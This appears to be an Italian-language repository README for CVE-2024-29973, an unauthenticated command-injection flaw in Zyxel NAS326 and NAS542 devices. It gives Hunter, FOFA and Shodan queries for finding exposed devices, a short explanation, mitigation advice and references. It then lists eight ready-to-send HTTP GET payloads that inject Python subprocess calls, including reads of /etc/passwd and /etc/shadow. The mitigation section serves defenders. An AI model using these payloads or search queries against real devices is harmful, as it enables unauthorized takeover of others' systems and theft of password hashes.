kernel364/cve-2024-29973
CVE-2024-29973 è una vulnerabilità critica presente in alcuni dispositivi di rete Zyxel. Questa vulnerabilità consente a un attaccante non autenticato di eseguire comandi arbitrari sul dispositivo target sfruttando meccanismi di convalida dell'input non adeguati nel firmware. Gli attaccanti possono inviare richieste HTTP appositamente create al dispositivo, iniettando comandi a livello di sistema e potenzialmente ottenendo il pieno controllo del dispositivo.
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
Iniezione di comandi: la vulnerabilità deriva da una sanificazione insufficiente dell'input in una delle interfacce web del dispositivo. Questa falla consente agli attaccanti di aggiungere comandi del sistema operativo all'interno dei parametri delle richieste HTTP.
Esempio di exploit: Gli attaccanti possono iniettare comandi tramite una richiesta HTTP GET, come quella sottostante, per eseguire codice arbitrario:
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
Impatto: Lo sfruttamento riuscito consente di eseguire comandi di sistema, portando potenzialmente al controllo remoto del dispositivo, alla fuga di dati o a un'ulteriore compromissione della rete.
Per mitigare i rischi associati a questa vulnerabilità, seguire questi passaggi:
Aggiornamento del firmware: assicurarsi che tutti i dispositivi Zyxel siano aggiornati all'ultima versione del firmware. Zyxel ha rilasciato patch che risolvono questa vulnerabilità. Controllare regolarmente gli aggiornamenti e applicarli tempestivamente.
Segmentazione della rete: isolare i dispositivi vulnerabili dall'infrastruttura di rete critica. Esporre solo i servizi necessari e assicurarsi che le interfacce amministrative non siano accessibili pubblicamente.
Configurazione del firewall: limitare il traffico in entrata e in uscita ai soli servizi essenziali. Bloccare l'accesso HTTP non necessario ai dispositivi Zyxel.
Monitoraggio dell'attività sospetta: implementare strumenti di registrazione e monitoraggio in grado di rilevare e segnalare comportamenti insoliti, come tentativi di accesso ripetuti o modelli di traffico anomali.
Riferimenti National Vulnerability Database - CVE-2024-29973 Zyxel Security Advisory
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1